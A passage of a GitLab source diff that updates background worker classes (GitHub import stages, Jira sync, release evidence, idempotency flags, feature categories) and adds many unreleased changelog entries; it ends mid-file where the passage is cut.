+++ b/app/workers/gitlab/github_import/stage/import_base_data_worker.rb
@@ -20,6 +20,7 @@ module Gitlab
# project - An instance of Project.
def import(client, project)
IMPORTERS.each do |klass|
+ info(project.id, message: "starting importer", importer: klass.name)
klass.new(project, client).execute
end
diff --git a/app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb b/app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb
index 68b6e159fa4..486057804b4 100644
--- a/app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb
+++ b/app/workers/gitlab/github_import/stage/import_issues_and_diff_notes_worker.rb
@@ -19,6 +19,7 @@ module Gitlab
# project - An instance of Project.
def import(client, project)
waiters = IMPORTERS.each_with_object({}) do |klass, hash|
+ info(project.id, message: "starting importer", importer: klass.name)
waiter = klass.new(project, client).execute
hash[waiter.key] = waiter.jobs_remaining
end
diff --git a/app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb b/app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb
index a19df399969..de2a7f9fc29 100644
--- a/app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb
+++ b/app/workers/gitlab/github_import/stage/import_lfs_objects_worker.rb
@@ -16,6 +16,8 @@ module Gitlab
# project - An instance of Project.
def import(project)
+ info(project.id, message: "starting importer", importer: 'Importer::LfsObjectsImporter')
+
waiter = Importer::LfsObjectsImporter
.new(project, nil)
.execute
diff --git a/app/workers/gitlab/github_import/stage/import_notes_worker.rb b/app/workers/gitlab/github_import/stage/import_notes_worker.rb
index 49b9821cd45..e1da26a9d48 100644
--- a/app/workers/gitlab/github_import/stage/import_notes_worker.rb
+++ b/app/workers/gitlab/github_import/stage/import_notes_worker.rb
@@ -11,6 +11,7 @@ module Gitlab
# client - An instance of Gitlab::GithubImport::Client.
# project - An instance of Project.
def import(client, project)
+ info(project.id, message: "starting importer", importer: 'Importer::NotesImporter')
waiter = Importer::NotesImporter
.new(project, client)
.execute
diff --git a/app/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker.rb b/app/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker.rb
new file mode 100644
index 00000000000..3e15c346659
--- /dev/null
+++ b/app/workers/gitlab/github_import/stage/import_pull_requests_merged_by_worker.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Stage
+ class ImportPullRequestsMergedByWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+ include GithubImport::Queue
+ include StageMethods
+
+ # client - An instance of Gitlab::GithubImport::Client.
+ # project - An instance of Project.
+ def import(client, project)
+ waiter = Importer::PullRequestsMergedByImporter
+ .new(project, client)
+ .execute
+
+ project.import_state.refresh_jid_expiration
+
+ AdvanceStageWorker.perform_async(
+ project.id,
+ { waiter.key => waiter.jobs_remaining },
+ :pull_request_reviews
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker.rb b/app/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker.rb
new file mode 100644
index 00000000000..0809d0b7c29
--- /dev/null
+++ b/app/workers/gitlab/github_import/stage/import_pull_requests_reviews_worker.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module GithubImport
+ module Stage
+ class ImportPullRequestsReviewsWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+ include GithubImport::Queue
+ include StageMethods
+
+ # client - An instance of Gitlab::GithubImport::Client.
+ # project - An instance of Project.
+ def import(client, project)
+ waiter =
+ if Feature.enabled?(:github_import_pull_request_reviews, project, default_enabled: true)
+ waiter = Importer::PullRequestsReviewsImporter
+ .new(project, client)
+ .execute
+
+ project.import_state.refresh_jid_expiration
+
+ waiter
+ else
+ JobWaiter.new
+ end
+
+ AdvanceStageWorker.perform_async(
+ project.id,
+ { waiter.key => waiter.jobs_remaining },
+ :issues_and_diff_notes
+ )
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb b/app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb
index 3299db5653b..bf2defa6326 100644
--- a/app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb
+++ b/app/workers/gitlab/github_import/stage/import_pull_requests_worker.rb
@@ -11,6 +11,7 @@ module Gitlab
# client - An instance of Gitlab::GithubImport::Client.
# project - An instance of Project.
def import(client, project)
+ info(project.id, message: "starting importer", importer: 'Importer::PullRequestsImporter')
waiter = Importer::PullRequestsImporter
.new(project, client)
.execute
@@ -20,7 +21,7 @@ module Gitlab
AdvanceStageWorker.perform_async(
project.id,
{ waiter.key => waiter.jobs_remaining },
- :issues_and_diff_notes
+ :pull_requests_merged_by
)
end
end
diff --git a/app/workers/gitlab/github_import/stage/import_repository_worker.rb b/app/workers/gitlab/github_import/stage/import_repository_worker.rb
index cb9ef1cd198..3338f7e58c0 100644
--- a/app/workers/gitlab/github_import/stage/import_repository_worker.rb
+++ b/app/workers/gitlab/github_import/stage/import_repository_worker.rb
@@ -21,6 +21,7 @@ module Gitlab
# expiration time.
RefreshImportJidWorker.perform_in_the_future(project.id, jid)
+ info(project.id, message: "starting importer", importer: 'Importer::RepositoryImporter')
importer = Importer::RepositoryImporter.new(project, client)
return unless importer.execute
diff --git a/app/workers/gitlab_performance_bar_stats_worker.rb b/app/workers/gitlab_performance_bar_stats_worker.rb
new file mode 100644
index 00000000000..d63f8111864
--- /dev/null
+++ b/app/workers/gitlab_performance_bar_stats_worker.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+class GitlabPerformanceBarStatsWorker
+ include ApplicationWorker
+
+ LEASE_KEY = 'gitlab:performance_bar_stats'
+ LEASE_TIMEOUT = 600
+ WORKER_DELAY = 120
+ STATS_KEY = 'performance_bar_stats:pending_request_ids'
+
+ feature_category :metrics
+ idempotent!
+
+ def perform(lease_uuid)
+ Gitlab::Redis::SharedState.with do |redis|
+ request_ids = fetch_request_ids(redis, lease_uuid)
+ stats = Gitlab::PerformanceBar::Stats.new(redis)
+
+ request_ids.each do |id|
+ stats.process(id)
+ end
+ end
+ end
+
+ private
+
+ def fetch_request_ids(redis, lease_uuid)
+ ids = redis.smembers(STATS_KEY)
+ redis.del(STATS_KEY)
+ Gitlab::ExclusiveLease.cancel(LEASE_KEY, lease_uuid)
+
+ ids
+ end
+end
diff --git a/app/workers/gitlab_usage_ping_worker.rb b/app/workers/gitlab_usage_ping_worker.rb
index a696c6e746a..1bb600bbd13 100644
--- a/app/workers/gitlab_usage_ping_worker.rb
+++ b/app/workers/gitlab_usage_ping_worker.rb
@@ -13,6 +13,10 @@ class GitlabUsagePingWorker # rubocop:disable Scalability/IdempotentWorker
sidekiq_retry_in { |count| (count + 1) * 8.hours.to_i }
def perform
+ # Disable usage ping for GitLab.com
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/292929 for details
+ return if Gitlab.com?
+
# Multiple Sidekiq workers could run this. We should only do this at most once a day.
in_lock(LEASE_KEY, ttl: LEASE_TIMEOUT) do
# Splay the request over a minute to avoid thundering herd problems.
diff --git a/app/workers/import_issues_csv_worker.rb b/app/workers/import_issues_csv_worker.rb
index c7b5f8cd0a7..521e5b8fbc2 100644
--- a/app/workers/import_issues_csv_worker.rb
+++ b/app/workers/import_issues_csv_worker.rb
@@ -3,6 +3,7 @@
class ImportIssuesCsvWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
+ idempotent!
feature_category :issue_tracking
worker_resource_boundary :cpu
weight 2
@@ -12,13 +13,15 @@ class ImportIssuesCsvWorker # rubocop:disable Scalability/IdempotentWorker
end
def perform(current_user_id, project_id, upload_id)
- @user = User.find(current_user_id)
- @project = Project.find(project_id)
- @upload = Upload.find(upload_id)
+ user = User.find(current_user_id)
+ project = Project.find(project_id)
+ upload = Upload.find(upload_id)
- importer = Issues::ImportCsvService.new(@user, @project, @upload.retrieve_uploader)
+ importer = Issues::ImportCsvService.new(user, project, upload.retrieve_uploader)
importer.execute
- @upload.destroy
+ upload.destroy
+ rescue ActiveRecord::RecordNotFound
+ # Resources have been removed, job should not be retried
end
end
diff --git a/app/workers/jira_connect/sync_branch_worker.rb b/app/workers/jira_connect/sync_branch_worker.rb
index 4c1c987353d..d7e773b0861 100644
--- a/app/workers/jira_connect/sync_branch_worker.rb
+++ b/app/workers/jira_connect/sync_branch_worker.rb
@@ -7,6 +7,7 @@ module JiraConnect
queue_namespace :jira_connect
feature_category :integrations
loggable_arguments 1, 2
+ worker_has_external_dependencies!
def perform(project_id, branch_name, commit_shas, update_sequence_id = nil)
project = Project.find_by_id(project_id)
diff --git a/app/workers/jira_connect/sync_builds_worker.rb b/app/workers/jira_connect/sync_builds_worker.rb
new file mode 100644
index 00000000000..c1c749f6041
--- /dev/null
+++ b/app/workers/jira_connect/sync_builds_worker.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module JiraConnect
+ class SyncBuildsWorker
+ include ApplicationWorker
+
+ idempotent!
+ worker_has_external_dependencies!
+
+ queue_namespace :jira_connect
+ feature_category :integrations
+
+ def perform(pipeline_id, sequence_id)
+ pipeline = Ci::Pipeline.find_by_id(pipeline_id)
+
+ return unless pipeline
+ return unless Feature.enabled?(:jira_sync_builds, pipeline.project)
+
+ ::JiraConnect::SyncService
+ .new(pipeline.project)
+ .execute(pipelines: [pipeline], update_sequence_id: sequence_id)
+ end
+ end
+end
diff --git a/app/workers/jira_connect/sync_merge_request_worker.rb b/app/workers/jira_connect/sync_merge_request_worker.rb
index f45ab38f35d..6ef426790b3 100644
--- a/app/workers/jira_connect/sync_merge_request_worker.rb
+++ b/app/workers/jira_connect/sync_merge_request_worker.rb
@@ -7,6 +7,8 @@ module JiraConnect
queue_namespace :jira_connect
feature_category :integrations
+ worker_has_external_dependencies!
+
def perform(merge_request_id, update_sequence_id = nil)
merge_request = MergeRequest.find_by_id(merge_request_id)
diff --git a/app/workers/member_invitation_reminder_emails_worker.rb b/app/workers/member_invitation_reminder_emails_worker.rb
index 50f583005c0..971d6abaa51 100644
--- a/app/workers/member_invitation_reminder_emails_worker.rb
+++ b/app/workers/member_invitation_reminder_emails_worker.rb
@@ -8,8 +8,6 @@ class MemberInvitationReminderEmailsWorker # rubocop:disable Scalability/Idempot
urgency :low
def perform
- return unless Gitlab::Experimentation.enabled?(:invitation_reminders)
-
Member.not_accepted_invitations.not_expired.last_ten_days_excluding_today.find_in_batches do |invitations|
invitations.each do |invitation|
Members::InvitationReminderEmailService.new(invitation).execute
diff --git a/app/workers/merge_request_cleanup_refs_worker.rb b/app/workers/merge_request_cleanup_refs_worker.rb
index 37774658ba8..6b991a2253f 100644
--- a/app/workers/merge_request_cleanup_refs_worker.rb
+++ b/app/workers/merge_request_cleanup_refs_worker.rb
@@ -3,7 +3,7 @@
class MergeRequestCleanupRefsWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
idempotent!
def perform(merge_request_id)
diff --git a/app/workers/merge_request_mergeability_check_worker.rb b/app/workers/merge_request_mergeability_check_worker.rb
index 1a84efb4e52..70d5f49d70e 100644
--- a/app/workers/merge_request_mergeability_check_worker.rb
+++ b/app/workers/merge_request_mergeability_check_worker.rb
@@ -3,7 +3,7 @@
class MergeRequestMergeabilityCheckWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
idempotent!
def perform(merge_request_id)
diff --git a/app/workers/migrate_external_diffs_worker.rb b/app/workers/migrate_external_diffs_worker.rb
index 0a95f40aa8f..3ef399bd9fc 100644
--- a/app/workers/migrate_external_diffs_worker.rb
+++ b/app/workers/migrate_external_diffs_worker.rb
@@ -3,7 +3,7 @@
class MigrateExternalDiffsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
def perform(merge_request_diff_id)
diff = MergeRequestDiff.find_by_id(merge_request_diff_id)
diff --git a/app/workers/namespaces/onboarding_user_added_worker.rb b/app/workers/namespaces/onboarding_user_added_worker.rb
new file mode 100644
index 00000000000..02608268d6f
--- /dev/null
+++ b/app/workers/namespaces/onboarding_user_added_worker.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Namespaces
+ class OnboardingUserAddedWorker
+ include ApplicationWorker
+
+ feature_category :users
+ urgency :low
+
+ idempotent!
+
+ def perform(namespace_id)
+ namespace = Namespace.find(namespace_id)
+ OnboardingProgressService.new(namespace).execute(action: :user_added)
+ end
+ end
+end
diff --git a/app/workers/new_merge_request_worker.rb b/app/workers/new_merge_request_worker.rb
index f672d37a83e..2d28561488b 100644
--- a/app/workers/new_merge_request_worker.rb
+++ b/app/workers/new_merge_request_worker.rb
@@ -4,7 +4,7 @@ class NewMergeRequestWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
include NewIssuable
- feature_category :source_code_management
+ feature_category :code_review
urgency :high
worker_resource_boundary :cpu
weight 2
diff --git a/app/workers/project_cache_worker.rb b/app/workers/project_cache_worker.rb
index b114c67de47..8a9c166e5df 100644
--- a/app/workers/project_cache_worker.rb
+++ b/app/workers/project_cache_worker.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
# Worker for updating any project specific caches.
-class ProjectCacheWorker # rubocop:disable Scalability/IdempotentWorker
+class ProjectCacheWorker
include ApplicationWorker
LEASE_TIMEOUT = 15.minutes.to_i
@@ -9,6 +9,7 @@ class ProjectCacheWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :source_code_management
urgency :high
loggable_arguments 1, 2, 3
+ idempotent!
# project_id - The ID of the project for which to flush the cache.
# files - An Array containing extra types of files to refresh such as
diff --git a/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb b/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb
new file mode 100644
index 00000000000..4d2a6b47e3c
--- /dev/null
+++ b/app/workers/project_schedule_bulk_repository_shard_moves_worker.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class ProjectScheduleBulkRepositoryShardMovesWorker
+ include ApplicationWorker
+
+ idempotent!
+ feature_category :gitaly
+ urgency :throttled
+
+ def perform(source_storage_name, destination_storage_name = nil)
+ Projects::ScheduleBulkRepositoryShardMovesService.new.execute(source_storage_name, destination_storage_name)
+ end
+end
diff --git a/app/workers/purge_dependency_proxy_cache_worker.rb b/app/workers/purge_dependency_proxy_cache_worker.rb
index 594cdd3ed11..b4c88592543 100644
--- a/app/workers/purge_dependency_proxy_cache_worker.rb
+++ b/app/workers/purge_dependency_proxy_cache_worker.rb
@@ -15,6 +15,7 @@ class PurgeDependencyProxyCacheWorker
return unless valid?
@group.dependency_proxy_blobs.destroy_all # rubocop:disable Cop/DestroyAll
+ @group.dependency_proxy_manifests.destroy_all # rubocop:disable Cop/DestroyAll
end
private
diff --git a/app/workers/releases/create_evidence_worker.rb b/app/workers/releases/create_evidence_worker.rb
new file mode 100644
index 00000000000..db75fae1639
--- /dev/null
+++ b/app/workers/releases/create_evidence_worker.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Releases
+ class CreateEvidenceWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ feature_category :release_evidence
+
+ # pipeline_id is optional for backward compatibility with existing jobs
+ # caller should always try to provide the pipeline and pass nil only
+ # if pipeline is absent
+ def perform(release_id, pipeline_id = nil)
+ release = Release.find_by_id(release_id)
+
+ return unless release
+
+ pipeline = Ci::Pipeline.find_by_id(pipeline_id)
+
+ ::Releases::CreateEvidenceService.new(release, pipeline: pipeline).execute
+ end
+ end
+end
diff --git a/app/workers/releases/manage_evidence_worker.rb b/app/workers/releases/manage_evidence_worker.rb
new file mode 100644
index 00000000000..8a925d22cea
--- /dev/null
+++ b/app/workers/releases/manage_evidence_worker.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Releases
+ class ManageEvidenceWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ feature_category :release_evidence
+
+ def perform
+ releases = Release.without_evidence.released_within_2hrs
+
+ releases.each do |release|
+ project = release.project
+ params = { tag: release.tag }
+
+ evidence_pipeline = Releases::EvidencePipelineFinder.new(project, params).execute
+
+ # perform_at released_at
+ ::Releases::CreateEvidenceWorker.perform_async(release.id, evidence_pipeline&.id)
+ end
+ end
+ end
+end
diff --git a/app/workers/repository_import_worker.rb b/app/workers/repository_import_worker.rb
index 51fe60e25fc..90764d7374d 100644
--- a/app/workers/repository_import_worker.rb
+++ b/app/workers/repository_import_worker.rb
@@ -30,7 +30,7 @@ class RepositoryImportWorker # rubocop:disable Scalability/IdempotentWorker
return if service.async?
if result[:status] == :error
- fail_import(result[:message]) if template_import?
+ fail_import(result[:message])
raise result[:message]
end
diff --git a/app/workers/repository_update_remote_mirror_worker.rb b/app/workers/repository_update_remote_mirror_worker.rb
index 21b5916f459..483aae84a3b 100644
--- a/app/workers/repository_update_remote_mirror_worker.rb
+++ b/app/workers/repository_update_remote_mirror_worker.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-class RepositoryUpdateRemoteMirrorWorker # rubocop:disable Scalability/IdempotentWorker
+class RepositoryUpdateRemoteMirrorWorker
UpdateError = Class.new(StandardError)
include ApplicationWorker
@@ -11,6 +11,7 @@ class RepositoryUpdateRemoteMirrorWorker # rubocop:disable Scalability/Idempoten
sidekiq_options retry: 3, dead: false
feature_category :source_code_management
loggable_arguments 1
+ idempotent!
LOCK_WAIT_TIME = 30.seconds
MAX_TRIES = 3
diff --git a/app/workers/schedule_merge_request_cleanup_refs_worker.rb b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
index 17cabba4278..59b8993f78f 100644
--- a/app/workers/schedule_merge_request_cleanup_refs_worker.rb
+++ b/app/workers/schedule_merge_request_cleanup_refs_worker.rb
@@ -4,7 +4,7 @@ class ScheduleMergeRequestCleanupRefsWorker
include ApplicationWorker
include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
- feature_category :source_code_management
+ feature_category :code_review
idempotent!
# Based on existing data, MergeRequestCleanupRefsWorker can run 3 jobs per
diff --git a/app/workers/schedule_migrate_external_diffs_worker.rb b/app/workers/schedule_migrate_external_diffs_worker.rb
index 4e7b60c4ab7..70e4d56562b 100644
--- a/app/workers/schedule_migrate_external_diffs_worker.rb
+++ b/app/workers/schedule_migrate_external_diffs_worker.rb
@@ -10,7 +10,7 @@ class ScheduleMigrateExternalDiffsWorker # rubocop:disable Scalability/Idempoten
include Gitlab::ExclusiveLeaseHelpers
- feature_category :source_code_management
+ feature_category :code_review
def perform
in_lock(self.class.name.underscore, ttl: 2.hours, retries: 0) do
diff --git a/app/workers/stuck_merge_jobs_worker.rb b/app/workers/stuck_merge_jobs_worker.rb
index 0f9b4ddb980..bea9d67b3e8 100644
--- a/app/workers/stuck_merge_jobs_worker.rb
+++ b/app/workers/stuck_merge_jobs_worker.rb
@@ -4,7 +4,7 @@ class StuckMergeJobsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
- feature_category :source_code_management
+ feature_category :code_review
def self.logger
Gitlab::AppLogger
diff --git a/app/workers/trending_projects_worker.rb b/app/workers/trending_projects_worker.rb
index eb1a7f4fef9..5876cfb1fe7 100644
--- a/app/workers/trending_projects_worker.rb
+++ b/app/workers/trending_projects_worker.rb
@@ -2,10 +2,6 @@
class TrendingProjectsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- # rubocop:disable Scalability/CronWorkerContext
- # This worker does not perform work scoped to a context
- include CronjobQueue
- # rubocop:enable Scalability/CronWorkerContext
include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
feature_category :source_code_management
diff --git a/app/workers/update_merge_requests_worker.rb b/app/workers/update_merge_requests_worker.rb
index 402c1777662..46cb32e7f08 100644
--- a/app/workers/update_merge_requests_worker.rb
+++ b/app/workers/update_merge_requests_worker.rb
@@ -3,7 +3,7 @@
class UpdateMergeRequestsWorker # rubocop:disable Scalability/IdempotentWorker
include ApplicationWorker
- feature_category :source_code_management
+ feature_category :code_review
urgency :high
worker_resource_boundary :cpu
weight 3
diff --git a/changelogs/unreleased/-231201-projects-graphs.yml b/changelogs/unreleased/-231201-projects-graphs.yml
new file mode 100644
index 00000000000..1944d749a05
--- /dev/null
+++ b/changelogs/unreleased/-231201-projects-graphs.yml
@@ -0,0 +1,5 @@
+---
+title: Apply GitLab UI button styles to buttons in app/views/projects/graphs directory
+merge_request: 44295
+author: Lakshit
+type: other
diff --git a/changelogs/unreleased/10io-fix-www-authenticate-header-in-packages-basic-auth-helpers.yml b/changelogs/unreleased/10io-fix-www-authenticate-header-in-packages-basic-auth-helpers.yml
new file mode 100644
index 00000000000..82c656aa3ab
--- /dev/null
+++ b/changelogs/unreleased/10io-fix-www-authenticate-header-in-packages-basic-auth-helpers.yml
@@ -0,0 +1,5 @@
+---
+title: Fix the header name for basic auth authentication in package managers APIs
+merge_request: 49836
+author:
+type: fixed
diff --git a/changelogs/unreleased/10io-graphql-mutation-delete-container-tags.yml b/changelogs/unreleased/10io-graphql-mutation-delete-container-tags.yml
new file mode 100644
index 00000000000..472ab4e1e4b
--- /dev/null
+++ b/changelogs/unreleased/10io-graphql-mutation-delete-container-tags.yml
@@ -0,0 +1,5 @@
+---
+title: Add GraphQL API to delete container repository tags
+merge_request: 48617
+author:
+type: added
diff --git a/changelogs/unreleased/205578-adds-guest-pkg-events-to-usage-data.yml b/changelogs/unreleased/205578-adds-guest-pkg-events-to-usage-data.yml
new file mode 100644
index 00000000000..dea1d6ec543
--- /dev/null
+++ b/changelogs/unreleased/205578-adds-guest-pkg-events-to-usage-data.yml
@@ -0,0 +1,5 @@
+---
+title: Adds guest package events to usage data
+merge_request: 48734
+author:
+type: added
diff --git a/changelogs/unreleased/205578-trigger-pkg-guest-events.yml b/changelogs/unreleased/205578-trigger-pkg-guest-events.yml
new file mode 100644
index 00000000000..2e92b37c2f7
--- /dev/null
+++ b/changelogs/unreleased/205578-trigger-pkg-guest-events.yml
@@ -0,0 +1,5 @@
+---
+title: Tracks guest package events
+merge_request: 48547
+author:
+type: added
diff --git a/changelogs/unreleased/207869-fix-wiki-clone-panel.yml b/changelogs/unreleased/207869-fix-wiki-clone-panel.yml
new file mode 100644
index 00000000000..8e09f0f9336
--- /dev/null
+++ b/changelogs/unreleased/207869-fix-wiki-clone-panel.yml
@@ -0,0 +1,5 @@
+---
+title: Fix repository clone panel for wikis
+merge_request: 47676
+author:
+type: fixed
diff --git a/changelogs/unreleased/207869-group-wikis-git-support.yml b/changelogs/unreleased/207869-group-wikis-git-support.yml
new file mode 100644
index 00000000000..9eb8f2f2434
--- /dev/null
+++ b/changelogs/unreleased/207869-group-wikis-git-support.yml
@@ -0,0 +1,5 @@
+---
+title: Support Git access for group wikis
+merge_request: 45892
+author:
+type: added
diff --git a/changelogs/unreleased/210345-update-index-adding-api-fuzzing.yml b/changelogs/unreleased/210345-update-index-adding-api-fuzzing.yml
new file mode 100644
index 00000000000..8db9cb90493
--- /dev/null
+++ b/changelogs/unreleased/210345-update-index-adding-api-fuzzing.yml
@@ -0,0 +1,5 @@
+---
+title: Add index for API Fuzzing usage data
+merge_request: 47692
+author:
+type: performance
diff --git a/changelogs/unreleased/212320-move-canary-ingress-to-core.yml b/changelogs/unreleased/212320-move-canary-ingress-to-core.yml
new file mode 100644
index 00000000000..d35b927573e
--- /dev/null
+++ b/changelogs/unreleased/212320-move-canary-ingress-to-core.yml
@@ -0,0 +1,5 @@
+---
+title: Move CanaryIngress to core
+merge_request: 48836
+author:
+type: changed
diff --git a/changelogs/unreleased/214044-add-empty-state-no-commit-result.yml b/changelogs/unreleased/214044-add-empty-state-no-commit-result.yml
new file mode 100644
index 00000000000..60bac0b0326
--- /dev/null
+++ b/changelogs/unreleased/214044-add-empty-state-no-commit-result.yml
@@ -0,0 +1,5 @@
+---
+title: Update empty state for no commits result
+merge_request: 48538
+author:
+type: changed
diff --git a/changelogs/unreleased/216795-add-visibility-and-last-published-information-to-the-image-reposit.yml b/changelogs/unreleased/216795-add-visibility-and-last-published-information-to-the-image-reposit.yml
new file mode 100644
index 00000000000..aa630bd82c4
--- /dev/null
+++ b/changelogs/unreleased/216795-add-visibility-and-last-published-information-to-the-image-reposit.yml
@@ -0,0 +1,5 @@
+---
+title: Add Project to ContainerRepository GraphQL type
+merge_request: 49019
+author:
+type: added
diff --git a/changelogs/unreleased/216795-show-last-update-and-visibility.yml b/changelogs/unreleased/216795-show-last-update-and-visibility.yml
new file mode 100644
index 00000000000..4ed9e3d25db
--- /dev/null
+++ b/changelogs/unreleased/216795-show-last-update-and-visibility.yml
@@ -0,0 +1,5 @@
+---
+title: Add visibility and last updated image repository details
+merge_request: 49703
+author:
+type: changed
diff --git a/changelogs/unreleased/219049-remove-google-importer.yml b/changelogs/unreleased/219049-remove-google-importer.yml
new file mode 100644
index 00000000000..f00a6c19a7b
--- /dev/null
+++ b/changelogs/unreleased/219049-remove-google-importer.yml
@@ -0,0 +1,5 @@
+---
+title: "Remove Google Code importer"
+merge_request: 48139
+author: Getulio Valentin Sánchez
+type: removed
diff --git a/changelogs/unreleased/219241-refine-group-creation-form.yml b/changelogs/unreleased/219241-refine-group-creation-form.yml
new file mode 100644
index 00000000000..5fef1b2a971
--- /dev/null
+++ b/changelogs/unreleased/219241-refine-group-creation-form.yml
@@ -0,0 +1,5 @@
+---
+title: Refine group creation form
+merge_request: 48490
+author:
+type: changed
diff --git a/changelogs/unreleased/219852-deprecated-button.yml b/changelogs/unreleased/219852-deprecated-button.yml
new file mode 100644
index 00000000000..46a9f556c4e
--- /dev/null
+++ b/changelogs/unreleased/219852-deprecated-button.yml
@@ -0,0 +1,5 @@
+---
+title: Update deprecated button on pipeline security table
+merge_request: 49620
+author:
+type: changed
diff --git a/changelogs/unreleased/220433-user-stuck-in-2fa-setup-page-even-if-group-disable-2fa-enforce-mig.yml b/changelogs/unreleased/220433-user-stuck-in-2fa-setup-page-even-if-group-disable-2fa-enforce-mig.yml
new file mode 100644
index 00000000000..db7c4818755
--- /dev/null
+++ b/changelogs/unreleased/220433-user-stuck-in-2fa-setup-page-even-if-group-disable-2fa-enforce-mig.yml
@@ -0,0 +1,5 @@
+---
+title: Add migration that updated users that don't need to have 2fa established
+merge_request: 47193
+author:
+type: fixed
diff --git a/changelogs/unreleased/222885-update-design-of-the-container-registry-cleanup-policy-for-tags.yml b/changelogs/unreleased/222885-update-design-of-the-container-registry-cleanup-policy-for-tags.yml
new file mode 100644
index 00000000000..3ac00c2a8eb
--- /dev/null
+++ b/changelogs/unreleased/222885-update-design-of-the-container-registry-cleanup-policy-for-tags.yml
@@ -0,0 +1,5 @@
+---
+title: Update Design of the Container Registry Cleanup Policy for tags
+merge_request: 48243
+author:
+type: changed
diff --git a/changelogs/unreleased/224509-chevron-down-svg-runner-epic.yml b/changelogs/unreleased/224509-chevron-down-svg-runner-epic.yml
new file mode 100644
index 00000000000..94622bcdbca
--- /dev/null
+++ b/changelogs/unreleased/224509-chevron-down-svg-runner-epic.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate chevron-down icon to svg
+merge_request: 47591
+author:
+type: other
diff --git a/changelogs/unreleased/224509-chevron-down-svg-search-wiki.yml b/changelogs/unreleased/224509-chevron-down-svg-search-wiki.yml
new file mode 100644
index 00000000000..8794d37d354
--- /dev/null
+++ b/changelogs/unreleased/224509-chevron-down-svg-search-wiki.yml
@@ -0,0 +1,5 @@
+---
+title: Update icons to svg in several sort dropdowns
+merge_request: 48092
+author:
+type: other
diff --git a/changelogs/unreleased/224509-replace-fa-chevron-down-with-gitlab-svg-chevron-down-icon.yml b/changelogs/unreleased/224509-replace-fa-chevron-down-with-gitlab-svg-chevron-down-icon.yml
new file mode 100644
index 00000000000..cf30494c15c
--- /dev/null
+++ b/changelogs/unreleased/224509-replace-fa-chevron-down-with-gitlab-svg-chevron-down-icon.yml
@@ -0,0 +1,5 @@
+---
+title: Replace fa-chevron-down with GitLab SVG in dropdowns
+merge_request: 48171
+author:
+type: changed
diff --git a/changelogs/unreleased/224698-fj-add-operations-access-level-to-api-project-settings.yml b/changelogs/unreleased/224698-fj-add-operations-access-level-to-api-project-settings.yml
new file mode 100644
index 00000000000..a80efab8c85
--- /dev/null
+++ b/changelogs/unreleased/224698-fj-add-operations-access-level-to-api-project-settings.yml
@@ -0,0 +1,5 @@
+---
+title: Add operations_access_level to project settings API
+merge_request: 50023
+author:
+type: added
diff --git a/changelogs/unreleased/224698-fj-add-operations-setting.yml b/changelogs/unreleased/224698-fj-add-operations-setting.yml
new file mode 100644
index 00000000000..663a9478f7a
--- /dev/null
+++ b/changelogs/unreleased/224698-fj-add-operations-setting.yml
@@ -0,0 +1,5 @@
+---
+title: Add Operations project setting logic
+merge_request: 48347
+author:
+type: added
diff --git a/changelogs/unreleased/224700_add_toggle_to_remove_analytics_item.yml b/changelogs/unreleased/224700_add_toggle_to_remove_analytics_item.yml
new file mode 100644
index 00000000000..635e75627ad
--- /dev/null
+++ b/changelogs/unreleased/224700_add_toggle_to_remove_analytics_item.yml
@@ -0,0 +1,5 @@
+---
+title: Add toggle to remove Analytics left nav item
+merge_request: 46011
+author:
+type: added
diff --git a/changelogs/unreleased/225275-add-glcheckbox-to-squah-commits.yml b/changelogs/unreleased/225275-add-glcheckbox-to-squah-commits.yml
new file mode 100644
index 00000000000..99ad834046d
--- /dev/null
+++ b/changelogs/unreleased/225275-add-glcheckbox-to-squah-commits.yml
@@ -0,0 +1,5 @@
+---
